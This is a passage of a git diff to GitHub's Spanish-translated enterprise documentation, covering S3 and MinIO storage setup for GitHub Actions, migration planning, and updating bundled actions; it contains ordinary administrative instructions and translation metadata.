Documentation](https://docs.aws.amazon.com/iam/index.html)." + Para más información, vea "[Puntos de conexión del servicio AWS](https://docs.aws.amazon.com/general/latest/gr/rande.html)" en la documentación de AWS. + * **AWS S3 Bucket** (Cubo de AWS S3): nombre del cubo de S3. + * **AWS S3 Access Key** y **AWS S3 Secret Key**: el identificador de clave de acceso de AWS y la clave secreta para el cubo. Para más información sobre cómo administrar las claves de acceso de AWS,vea la "[documentación sobre administración de identidades y accesos de AWS](https://docs.aws.amazon.com/iam/index.html)". - ![Radio button for selecting Amazon S3 Storage and fields for S3 configuration](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} + ![Botón de radio para seleccionar Amazon S3 Storage y campos para la configuración de S3](/assets/images/enterprise/management-console/actions-aws-s3-storage.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md b/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md index 4d43604d8a..0da1107648 100644 --- a/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md +++ b/translations/es-ES/content/admin/github-actions/enabling-github-actions-for-github-enterprise-server/enabling-github-actions-with-minio-gateway-for-nas-storage.md @@ -1,6 +1,6 @@ --- -title: Enabling GitHub Actions with MinIO Gateway for NAS storage -intro: 'You can enable {% data variables.product.prodname_actions %} on {% data variables.product.prodname_ghe_server %} and use MinIO Gateway for NAS storage to store data generated by workflow runs.' +title: Habilitar las GitHub Actions con la puerta de enlace de MinIO para el almacenamiento en NAS +intro: 'Puedes habilitar {% data variables.product.prodname_actions %} en {% data variables.product.prodname_ghe_server %} y utilizar la puerta de enlace de MinIO para el almacenamiento en NAS a fin de almacenar datos que generan las ejecuciones del flujo de trabajo.' permissions: 'Site administrators can enable {% data variables.product.prodname_actions %} and configure enterprise settings.' versions: ghes: '*' @@ -13,36 +13,36 @@ topics: redirect_from: - /admin/github-actions/enabling-github-actions-with-minio-gateway-for-nas-storage shortTitle: MinIO Gateway for NAS storage +ms.openlocfilehash: bb738d04d54234704f3278422c1f1ef075956640 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148106873' --- - {% data reusables.actions.minio-gateways-removal %} -## Prerequisites +## Prerrequisitos -Before enabling {% data variables.product.prodname_actions %}, make sure you have completed the following steps: +Antes de que habilites las {% data variables.product.prodname_actions %}, asegúrate de que has completado los siguientes pasos: -* To avoid resource contention on the appliance, we recommend that MinIO be hosted separately from {% data variables.location.product_location %}. -* Create your bucket for storing workflow data. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} +* Para evitar la contención de recursos en el dispositivo, te recomendamos que hospedes MinIO separado de {% data variables.location.product_location %}. +* Crea un cubo para almacenar los datos del flujo de trabajo. {% indented_data_reference reusables.actions.enterprise-s3-permission spaces=2 %} {% data reusables.actions.enterprise-common-prereqs %} -## Enabling {% data variables.product.prodname_actions %} with MinIO Gateway for NAS storage +## Habilitar las {% data variables.product.prodname_actions %} con la puerta de enlace de MinIO para almacenamiento en NAS -{% data reusables.enterprise_site_admin_settings.access-settings %} -{% data reusables.enterprise_site_admin_settings.management-console %} -{% data reusables.enterprise_management_console.actions %} -{% data reusables.actions.enterprise-enable-checkbox %} -1. Under "Artifact & Log Storage", select **Amazon S3**, and enter your storage bucket's details: +{% data reusables.enterprise_site_admin_settings.access-settings %} {% data reusables.enterprise_site_admin_settings.management-console %} {% data reusables.enterprise_management_console.actions %} {% data reusables.actions.enterprise-enable-checkbox %} +1. En "Artifact & Log Storage" (Almacenamiento de artefactos y registros), seleccione **Amazon S3** y escriba los detalles del cubo de almacenamiento: - * **AWS Service URL**: The URL to your MinIO service. For example, `https://my-minio.example:9000`. - * **AWS S3 Bucket**: The name of your S3 bucket. - * **AWS S3 Access Key** and **AWS S3 Secret Key**: The `MINIO_ACCESS_KEY` and `MINIO_SECRET_KEY` used for your MinIO instance. + * **AWS Service URL** (URL del servicio AWS): dirección URL del servicio MinIO. Por ejemplo, `https://my-minio.example:9000`. + * **AWS S3 Bucket** (Cubo de AWS S3): nombre del cubo de S3. + * **AWS S3 Access Key** (Clave de acceso de AWS S3) y **AWS S3 Secret Key** (Clave de secreto de AWS S3): se usan `MINIO_ACCESS_KEY` y `MINIO_SECRET_KEY` para la instancia de MinIO. - ![Radio button for selecting Amazon S3 Storage and fields for MinIO configuration](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) -1. Under "Artifact & Log Storage", select **Force path style**. + ![Botón radial para seleccionar el almacenamiento de Amazon S3 y los campos para la configuración de MinIO](/assets/images/enterprise/management-console/actions-minio-s3-storage.png) +1. En "Artifact & Log Storage" (Almacenamiento de artefactos y registros), seleccione **Force path style** (Forzar estilo de ruta de acceso). - ![Checkbox to Force path style](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) -{% data reusables.enterprise_management_console.test-storage-button %} -{% data reusables.enterprise_management_console.save-settings %} + ![Casilla Forzar estilo de ruta de acceso](/assets/images/enterprise/management-console/actions-minio-force-path-style.png) {% data reusables.enterprise_management_console.test-storage-button %} {% data reusables.enterprise_management_console.save-settings %} {% data reusables.actions.enterprise-postinstall-nextsteps %} diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md index 921d01760d..b4ef838f74 100644 --- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/about-github-actions-for-enterprises.md @@ -24,7 +24,7 @@ topics: | Automatically and securely package code into artifacts and containers | "[About packaging with {% data variables.product.prodname_actions %}](/actions/publishing-packages/about-packaging-with-github-actions)" | | Automate your project management tasks | "[Using {% data variables.product.prodname_actions %} for project management](/actions/managing-issues-and-pull-requests/using-github-actions-for-project-management)" | -{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/writing-code-faster/#scale-through-automation)" in the State of the Octoverse. +{% data variables.product.prodname_actions %} helps your team work faster at scale. When large repositories start using {% data variables.product.prodname_actions %}, teams merge significantly more pull requests per day, and the pull requests are merged significantly faster. For more information, see "[Writing and shipping code faster](https://octoverse.github.com/2021/writing-code-faster/#scale-through-automation)" in the State of the Octoverse. You can create your own unique automations, or you can use and adapt workflows from our ecosystem of over 10,000 actions built by industry leaders and the open source community. {% ifversion ghec %}For more information, see "[Finding and customizing actions](/actions/learn-github-actions/finding-and-customizing-actions)."{% else %}You can restrict your developers to using actions that exist on {% data variables.location.product_location %}, or you can allow your developers to access actions on {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[About using actions in your enterprise](/admin/github-actions/managing-access-to-actions-from-githubcom/about-using-actions-in-your-enterprise)."{% endif %} diff --git a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md index ec5e16dcc7..58f812ba1b 100644 --- a/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md +++ b/translations/es-ES/content/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/migrating-your-enterprise-to-github-actions.md @@ -1,7 +1,7 @@ --- -title: Migrar tu empresa a GitHub Actions +title: Migrating your enterprise to GitHub Actions shortTitle: Migrate to Actions -intro: 'Aprende cómo planear una migración a {% data variables.product.prodname_actions %} para tu empresa desde otro proveedor.' +intro: 'Learn how to plan a migration to {% data variables.product.prodname_actions %} for your enterprise from another provider.' versions: ghec: '*' ghes: '*' @@ -10,83 +10,78 @@ type: how_to topics: - Actions - Enterprise -ms.openlocfilehash: db41434eae8bd3cf9036510705ee996f365f3fa1 -ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d -ms.translationtype: HT -ms.contentlocale: es-ES -ms.lasthandoff: 09/10/2022 -ms.locfileid: '145116689' --- -## Acerca de las migraciones empresariales a {% data variables.product.prodname_actions %} -Para migrar tu empresa a {% data variables.product.prodname_actions %} desde un sistema existente, puedes planear la migración, completarla y retirar los sistemas existentes. +## About enterprise migrations to {% data variables.product.prodname_actions %} -Esta guía dirige consideraciones específicas para las migraciones. Para obtener más información sobre cómo introducir {% data variables.product.prodname_actions %} en la empresa, vea "[Introducción de {% data variables.product.prodname_actions %} en la empresa](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)". +To migrate your enterprise to {% data variables.product.prodname_actions %} from an existing system, you can plan the migration, complete the migration, and retire existing systems. -## Planificación de la migración +This guide addresses specific considerations for migrations. For additional information about introducing {% data variables.product.prodname_actions %} to your enterprise, see "[Introducing {% data variables.product.prodname_actions %} to your enterprise](/admin/github-actions/getting-started-with-github-actions-for-your-enterprise/introducing-github-actions-to-your-enterprise)." -Antes de que comiences a migrar tu empresa a {% data variables.product.prodname_actions %}, debes identificar qué flujos de trabajo se migrarán y cómo afectarán dichas migraciones a tus equipos, posteriormente, deberás planear cómo y cuándo completarás las migraciones. +## Planning your migration -### Aprovechar los especialistas en migración +Before you begin migrating your enterprise to {% data variables.product.prodname_actions %}, you should identify which workflows will be migrated and how those migrations will affect your teams, then plan how and when you will complete the migrations. -{% data variables.product.company_short %} puede ayudarte con la migración y también puedes sacar provecho de comprar los {% data variables.product.prodname_professional_services %}. Para obtener más información, contacta a tu representante dedicado o a {% data variables.contact.contact_enterprise_sales %}. +### Leveraging migration specialists -### Identificar e inventariar los destinos de migración +{% data variables.product.company_short %} can help with your migration, and you may also benefit from purchasing {% data variables.product.prodname_professional_services %}. For more information, contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}. -Antes de que puedas migrarte a las {% data variables.product.prodname_actions %}, necesitarás tener un entendimiento total de los flujos de trabajo que utiliza tu empresa en tu sistema existente. +### Identifying and inventorying migration targets -Primero, crea un inventario de los flujos de trabajo de lanzamientos y de compilación existentes en tu empresa, juntando la información sobre qué flujos de trabajo se utilizan activamente y necesitan migrarse y cuáles pueden quedarse atrás. +Before you can migrate to {% data variables.product.prodname_actions %}, you need to have a complete understanding of the workflows being used by your enterprise in your existing system. -Después, conoce las diferencias entre tu proveedor actual y las {% data variables.product.prodname_actions %}. Esto te ayudará a evaluar cualquier dificultad para migrar cada flujo de trabajo y en dónde tu empresa podría experimentar diferencias en características. Para obtener más información, vea "[Migración a {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)." +First, create an inventory of the existing build and release workflows within your enterprise, gathering information about which workflows are being actively used and need to migrated and which can be left behind. -Con esta información, podrás determinar qué flujos de trabajo puedes y quieres migrar a {% data variables.product.prodname_actions %}. +Next, learn the differences between your current provider and {% data variables.product.prodname_actions %}. This will help you assess any difficulties in migrating each workflow, and where your enterprise might experience differences in features. For more information, see "[Migrating to {% data variables.product.prodname_actions %}](/actions/migrating-to-github-actions)." -### Determinar los impactos de equipo a raíz de las migraciones +With this information, you'll be able to determine which workflows you can and want to migrate to {% data variables.product.prodname_actions %}. -Cuando cambias las herramientas que utilizas dentro de tu empresa, influencias la forma en la que funciona tu equipo. Necesitarás considerar cómo es que la migración de un flujo de trabajo desde tu sistema existente a {% data variables.product.prodname_actions %} afectará el trabajo diario de tus desarrolladores. +### Determine team impacts from migrations -Identifica cualquier proceso, integraciones y herramientas de terceros que se afectará con tu migración y haz un plan de cualquier actualización que necesites hacer. +When you change the tools being used within your enterprise, you influence how your team works. You'll need to consider how moving a workflow from your existing systems to {% data variables.product.prodname_actions %} will affect your developers' day-to-day work. -Considera cómo la migración podría afectar tus inquietudes de cumplimiento. Por ejemplo, ¿acaso tus herramientas de análisis de seguridad y escaneo de credenciales existentes funcionarán con {% data variables.product.prodname_actions %} o necesitarás utilizar herramientas nuevas? +Identify any processes, integrations, and third-party tools that will be affected by your migration, and make a plan for any updates you'll need to make. -Identifica las puertas y verificaciones en tu sistema existente y verifica que puedas implementarlas con {% data variables.product.prodname_actions %}. +Consider how the migration may affect your compliance concerns. For example, will your existing credential scanning and security analysis tools work with {% data variables.product.prodname_actions %}, or will you need to use new tools? -### Identificar y validar las herramientas de migración +Identify the gates and checks in your existing system and verify that you can implement them with {% data variables.product.prodname_actions %}. -Las herramientas de migración automatizadas pueden traducir los flujos de trabajo de tu empresa desde la sintaxis de sistema existente a aquella que requiere {% data variables.product.prodname_actions %}. Identifica las herramientas de terceros o contacta a tu representante dedicado o {% data variables.contact.contact_enterprise_sales %} para preguntar sobre las herramientas que puede proporcionar {% data variables.product.company_short %}. +### Identifying and validating migration tools -Después de que hayas identificado una herramienta para automatizar tus migraciones, valídala ejecutándola en algunos flujos de trabajo de prueba y verifica que los resultados sean los esperados. +Automated migration tools can translate your enterprise's workflows from the existing system's syntax to the syntax required by {% data variables.product.prodname_actions %}. Identify third-party tooling or contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %} to ask about tools that {% data variables.product.company_short %} can provide. For example, you can use the {% data variables.product.prodname_actions_importer %} to plan, scope, and migrate your CI pipelines to {% data variables.product.prodname_actions %} from various supported services. For more information, see "[Automating migration with {% data variables.product.prodname_actions_importer %}](/actions/migrating-to-github-actions/automating-migration-with-github-actions-importer)." -Las herramientas automatizadas deberían poder migrar la mayoría de tus flujos de trabajo, pero es posible que necesites reescribir manualmente por lo menos un porcentaje pequeño de estos. Estima la cantidad de trabajo manual que necesitarás llevar a cabo. +After you've identified a tool to automate your migrations, validate the tool by running the tool on some test workflows and verifying that the results are as expected. -### Decidir llevar a cabo un enfoque de migración +Automated tooling should be able to migrate the majority of your workflows, but you'll likely need to manually rewrite at least a small percentage. Estimate the amount of manual work you'll need to complete. -Determina el enfoque de migración que funcionará mejor para tu empresa. Los equipos más pequeños podrían ser capaces de migrar todos sus flujos de trabajo de una sola vez con un enfoque de tipo "quitar y reemplazar". Para las empresas más grandes, un enfoque iterativo podría ser más realista. Puedes elegir que un cuerpo central administre toda la migración o puedes pedirles a los equipos individuales que lo hagan ellos mismos y migren sus propios flujos de trabajo. +### Deciding on a migration approach -Te recomendamos tener un enfoque iterativo que combine la administración activa con un autoservicio. Comience con un grupo pequeño de primeros participantes que actúen como campeones internos. Identifica un puñado de flujos de trabajo que sean suficientemente completos como para representar la amplitud de tu negocio. Trabaja con quienes primero adoptan esto para migrar esos flujos de trabajo a {% data variables.product.prodname_actions %}, iterando conforme sea necesario. Esto les dará a los otros equipos la confianza de que sus flujos de trabajo también pueden migrarse. +Determine the migration approach that will work best for your enterprise. Smaller teams may be able to migrate all their workflows at once, with a "rip-and-replace" approach. For larger enterprises, an iterative approach may be more realistic. You can choose to have a central body manage the entire migration or you can ask individual teams to self serve by migrating their own workflows. -Posteriormente, haz que {% data variables.product.prodname_actions %} esté disponible para tu organización extendida. Proporciona recursos para ayudar a que estos equipos migren sus propios flujos de trabajo a {% data variables.product.prodname_actions %} e informa a los equipos cuando los sistemas existentes vayan a retirarse. +We recommend an iterative approach that combines active management with self service. Start with a small group of early adopters that can act as your internal champions. Identify a handful of workflows that are comprehensive enough to represent the breadth of your business. Work with your early adopters to migrate those workflows to {% data variables.product.prodname_actions %}, iterating as needed. This will give other teams confidence that their workflows can be migrated, too. -Finalmente, informa a todos los equipos que aún utilicen tus sistemas anteriores que deben completar sus migraciones en cierto tiempo. Puedes apuntar a los éxitos de otros equipos para asegurarles que la migración es posible y deseable. +Then, make {% data variables.product.prodname_actions %} available to your larger organization. Provide resources to help these teams migrate their own workflows to {% data variables.product.prodname_actions %}, and inform the teams when the existing systems will be retired. -### Definir tu itinerario de migración +Finally, inform any teams that are still using your old systems to complete their migrations within a specific timeframe. You can point to the successes of other teams to reassure them that migration is possible and desirable. -Después de que decides tomar un enfoque de migración, crea un itinerario que defina cuándo cada uno de tus equipos migrarán sus flujos de trabajo a {% data variables.product.prodname_actions %}. +### Defining your migration schedule -Primero, decide la fecha en la que te gustaría completar tu migración. Por ejemplo, puedes planear completar tu migración en el momento en el que finalice tu contrato con tu proveedor actual. +After you decide on a migration approach, build a schedule that outlines when each of your teams will migrate their workflows to {% data variables.product.prodname_actions %}. -Entonces, trabaja con tus equipos para crear un itinerario que cumpla con tu fecha límite sin sacrificar sus metas de equipo. Fíjate en la cadencia de tu negocio y en la carga de trabajo de cada equipo individual al que le pides migrarse. Coordínate con cada equipo para entender sus itinerarios de entrega y crea un plan que les permita migrar sus flujos de trabajo en un momento en el que no vaya a impactar su capacidad de entrega. +First, decide the date you'd like your migration to be complete. For example, you can plan to complete your migration by the time your contract with your current provider ends. -## Migrarse a {% data variables.product.prodname_actions %} +Then, work with your teams to create a schedule that meets your deadline without sacrificing their team goals. Look at your business's cadence and the workload of each individual team you're asking to migrate. Coordinate with each team to understand their delivery schedules and create a plan that allows the team to migrate their workflows at a time that won't impact their ability to deliver. -Cuando estés listo para iniciar tu migración, traduce tus flujos existentes a {% data variables.product.prodname_actions %} utilizando las herramientas automatizadas y reescritura manual que ya planeaste para lo anterior. +## Migrating to {% data variables.product.prodname_actions %} -También podrías querer mantener artefactos de compilaciones anteriores de tu sistema existente, probablemente escribiendo un proceso con script para archivar los artefactos. +When you're ready to start your migration, translate your existing workflows to {% data variables.product.prodname_actions %} using the automated tooling and manual rewriting you planned for above. -## Retirar los sistemas existentes +You may also want to maintain old build artifacts from your existing system, perhaps by writing a scripted process to archive the artifacts. -Después de que se complete tu migración, puedes pensar en retirar tu sistema existente. +## Retiring existing systems -Tendrás que ejecutar ambos sistemas de lado a lado durante un tiempo mientras verificas que tu configuración de {% data variables.product.prodname_actions %} sea estable, sin delegación de experiencia para los desarrolladores. +After your migration is complete, you can think about retiring your existing system. -Con el tiempo, el retira y apaga los sistemas antiguos y asegúrate de que nadie en tu empresa los vuelva a activar. +You may want to run both systems side-by-side for some period of time, while you verify that your {% data variables.product.prodname_actions %} configuration is stable, with no degradation of experience for developers. + +Eventually, decommission and shut off the old systems, and ensure that no one within your enterprise can turn the old systems back on. diff --git a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md index 585957f8c6..113a3d512c 100644 --- a/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md +++ b/translations/es-ES/content/admin/github-actions/managing-access-to-actions-from-githubcom/using-the-latest-version-of-the-official-bundled-actions.md @@ -1,6 +1,6 @@ --- -title: Using the latest version of the official bundled actions -intro: 'You can update the actions that are bundled with your enterprise, or use actions directly from {% data variables.product.prodname_dotcom_the_website %}.' +title: Utilizar la última versión de las acciones empaquetadas oficiales +intro: 'Puedes actualizar las acciones que vienen en paquete para tu empresa o utilizarlas directamente desde {% data variables.product.prodname_dotcom_the_website %}.' versions: ghes: '*' ghae: '*' @@ -12,43 +12,48 @@ topics: redirect_from: - /admin/github-actions/using-the-latest-version-of-the-official-bundled-actions shortTitle: Use the latest bundled actions +ms.openlocfilehash: a86c731602bc39cc35fbff823ebdbfbdf2dec2c9 +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107033' --- -{% data reusables.actions.enterprise-beta %} -{% data reusables.actions.enterprise-github-hosted-runners %} +{% data reusables.actions.enterprise-beta %} {% data reusables.actions.enterprise-github-hosted-runners %} -Your enterprise instance includes a number of built-in actions that you can use in your workflows. For more information about the bundled actions, see "[Official actions bundled with your enterprise instance](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)." +Tu instancia empresarial incluye varias acciones integradas que puedes utilizar en tus flujos de trabajo. Para más información sobre las acciones agrupadas, vea "[Acciones oficiales agrupadas con la instancia de empresa](/admin/github-actions/about-using-actions-in-your-enterprise#official-actions-bundled-with-your-enterprise-instance)". -These bundled actions are a point-in-time snapshot of the official actions found at https://github.com/actions, so there may be newer versions of these actions available. You can use the `actions-sync` tool to update these actions, or you can configure {% data variables.product.prodname_github_connect %} to allow access to the latest actions on {% data variables.product.prodname_dotcom_the_website %}. These options are described in the following sections. +Estas acciones agrupadas son una instantánea en un momento dado de las acciones oficiales que se encuentran en https://github.com/actions, por lo que podría haber versiones nuevas disponibles de ellas. Puede usar la herramienta `actions-sync` para actualizar estas acciones, o bien configurar {% data variables.product.prodname_github_connect %} para permitir el acceso a las acciones más recientes en {% data variables.product.prodname_dotcom_the_website %}. Estas opciones se describen en las secciones siguientes. -## Using `actions-sync` to update the bundled actions +## Uso de `actions-sync` para actualizar las acciones agrupadas -To update the bundled actions, you can use the `actions-sync` tool to update the snapshot. For more information on using `actions-sync`, see "[Manually syncing actions from {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)." +Para actualizar las acciones agrupadas, puede usar la herramienta `actions-sync` a fin de actualizar la instantánea. Para más información sobre el uso de `actions-sync`, vea "[Sincronización manual de acciones de {% data variables.product.prodname_dotcom_the_website %}](/admin/github-actions/manually-syncing-actions-from-githubcom)". -## Using {% data variables.product.prodname_github_connect %} to access the latest actions +## Utilizar {% data variables.product.prodname_github_connect %} para acceder a las últimas acciones -You can use {% data variables.product.prodname_github_connect %} to allow {% data variables.product.product_name %} to use actions from {% data variables.product.prodname_dotcom_the_website %}. For more information, see "[Enabling automatic access to {% data variables.product.prodname_dotcom_the_website %} actions using {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)." +Puedes utilizar {% data variables.product.prodname_github_connect %} para permitir que {% data variables.product.product_name %} utilice acciones desde {% data variables.product.prodname_dotcom_the_website %}. Para más información, vea "[Habilitación del acceso automático a las acciones de {% data variables.product.prodname_dotcom_the_website %} mediante {% data variables.product.prodname_github_connect %}](/admin/github-actions/enabling-automatic-access-to-githubcom-actions-using-github-connect)". -Once {% data variables.product.prodname_github_connect %} is configured, you can use the latest version of an action by deleting its local repository in the `actions` organization on your instance. For example, if your enterprise instance is using `v1` of the `actions/checkout` action, and you need to use `{% data reusables.actions.action-checkout %}` which isn't available on your enterprise instance, perform the following steps to be able to use the latest `checkout` action from {% data variables.product.prodname_dotcom_the_website %}: +Una vez que se configura {% data variables.product.prodname_github_connect %}, puede usar la versión más reciente de una acción si elimina su repositorio local en la organización `actions` de la instancia. Por ejemplo, si en la instancia de la empresa se usa `v1` de la acción `actions/checkout` y tiene que usar `{% data reusables.actions.action-checkout %}` que no está disponible en la instancia de la empresa, siga estos pasos para poder usar la acción `checkout` más reciente de {% data variables.product.prodname_dotcom_the_website %}: -1. From an enterprise owner account on {% data variables.product.product_name %}, navigate to the repository you want to delete from the *actions* organization (in this example `checkout`). -1. By default, site administrators are not owners of the bundled *actions* organization. To get the access required to delete the `checkout` repository, you must use the site admin tools. Click {% octicon "rocket" aria-label="The rocket ship" %} in the upper-right corner of any page in that repository. - ![Rocketship icon for accessing site admin settings](/assets/images/enterprise/site-admin-settings/access-new-settings.png) -1. Click {% octicon "shield-lock" %} **Security** to see the security overview for the repository. - ![Security header the repository](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) -1. Under "Privileged access", click **Unlock**. - ![Unlock button](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png) -1. Under **Reason**, type a reason for unlocking the repository, then click **Unlock**. - ![Confirmation dialog](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png) -1. Now that the repository is unlocked, you can leave the site admin pages and delete the repository within the `actions` organization. At the top of the page, click the repository name, in this example **checkout**, to return to the summary page. - ![Repository name link](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) -1. Under "Repository info", click **View code** to leave the site admin pages and display the `checkout` repository. -1. Delete the `checkout` repository within the `actions` organization. For information on how to delete a repository, see "[Deleting a repository](/github/administering-a-repository/deleting-a-repository)." - ![View code link](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) -1. Configure your workflow's YAML to use `{% data reusables.actions.action-checkout %}`. -1. Each time your workflow runs, the runner will use the specified version of `actions/checkout` from {% data variables.product.prodname_dotcom_the_website %}. +1. Desde una cuenta de propietario de empresa en {% data variables.product.product_name %}, vaya al repositorio que quiera eliminar de la organización de *acciones* (en este ejemplo `checkout`). +1. De manera predeterminada, los administradores de sitio no son los propietarios de la organización de *acciones* agrupadas. A fin de obtener el acceso necesario para eliminar el repositorio `checkout`, debe usar las herramientas de administración del sitio. Haz clic en {% octicon "rocket" aria-label="The rocket ship" %} en la esquina superior derecha de cualquier página de este repositorio. + ![Ícono de cohete para acceder a los valores de administración del sitio](/assets/images/enterprise/site-admin-settings/access-new-settings.png) +1. Haga clic en {% octicon "shield-lock" %} **Seguridad** para ver la información general de seguridad del repositorio. + ![Encabezado de seguridad del repositorio](/assets/images/enterprise/site-admin-settings/access-repo-security-info.png) +1. En "Acceso con privilegios", haga clic en **Desbloquear**. + ![Botón Desbloquear](/assets/images/enterprise/site-admin-settings/unlock-priviledged-repo-access.png) +1. En **Motivo**, escriba un motivo para desbloquear el repositorio y, después, haga clic en **Desbloquear**. + ![Cuadro de diálogo Confirmación](/assets/images/enterprise/site-admin-settings/confirm-unlock-repo-access.png) +1. Ahora que el repositorio se ha desbloqueado, puede salir de las páginas de administración del sitio y elimina el repositorio dentro de la organización `actions`. En la parte superior de la página, haga clic en el nombre del repositorio, en este ejemplo **checkout**, para volver a la página de resumen. + ![Vínculo del nombre de repositorio](/assets/images/enterprise/site-admin-settings/display-repository-admin-summary.png) +1. En "Información del repositorio", haga clic en **Ver código** para salir de las páginas de administración del sitio y mostrar el repositorio `checkout`. +1. Elimine el repositorio `checkout` dentro de la organización `actions`. Para obtener información sobre cómo eliminar un repositorio, vea "[Eliminación de un repositorio](/github/administering-a-repository/deleting-a-repository)". + ![Vínculo para ver el código](/assets/images/enterprise/site-admin-settings/exit-admin-page-for-repository.png) +1. Configure el código YAML del flujo de trabajo para que use `{% data reusables.actions.action-checkout %}`. +1. Cada vez que se ejecuta el flujo de trabajo, el ejecutor usará la versión especificada de `actions/checkout` de {% data variables.product.prodname_dotcom_the_website %}. {% note %} - **Note:** The first time the `checkout` action is used from {% data variables.product.prodname_dotcom_the_website %}, the `actions/checkout` namespace is automatically retired on {% data variables.location.product_location %}. If you ever want to revert to using a local copy of the action, you first need to remove the namespace from retirement. For more information, see "[Automatic retirement of namespaces for actions accessed on {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)." + **Nota:** La primera vez que se usa la acción `checkout` desde {% data variables.product.prodname_dotcom_the_website %}, el espacio de nombres `actions/checkout` se retira automáticamente en {% data variables.location.product_location %}. Si alguna vez quieres revertir a utilizar una copia local de la acción, primero necesitas eliminar el designador de nombre de la jubilación. Para más información, vea "[Retiro automático de espacios de nombres para las acciones a las que se accede en {% data variables.product.prodname_dotcom_the_website%}](/admin/github-actions/managing-access-to-actions-from-githubcom/enabling-automatic-access-to-githubcom-actions-using-github-connect#automatic-retirement-of-namespaces-for-actions-accessed-on-githubcom)". {% endnote %} diff --git a/translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md b/translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md index 7ebd13139b..f57d2a1c2d 100644 --- a/translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md +++ b/translations/es-ES/content/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise.md @@ -1,7 +1,7 @@ --- -title: About authentication for your enterprise +title: Acerca de la autenticación para tu empresa shortTitle: About authentication -intro: 'You {% ifversion ghae %}must configure SAML single sign-on (SSO) so people can{% else %}can choose how people{% endif %} authenticate to access {% ifversion ghec %}your enterprise''s resources on {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}your enterprise on {% data variables.product.product_name %}{% endif %}.' +intro: '{% ifversion ghae %}Debes configurar el inicio de sesión único (SSO) de SAML para que los usuarios se autentiquen{% else %}Puedes elegir la forma en que los usuarios se autentican{% endif %} para acceder a {% ifversion ghec %}los recursos de la empresa en {% data variables.product.product_name %}{% elsif ghes %}{% data variables.location.product_location %}{% elsif ghae %}la empresa en {% data variables.product.product_name %}{% endif %}.' versions: ghec: '*' ghes: '*' @@ -13,136 +13,140 @@ topics: - Enterprise - Identity - SSO +ms.openlocfilehash: 9931a13150ff98d7ab113d37df9622b43367fa1b +ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110 +ms.translationtype: HT +ms.contentlocale: es-ES +ms.lasthandoff: 10/25/2022 +ms.locfileid: '148107025' --- - -## About authentication for your enterprise +## Acerca de 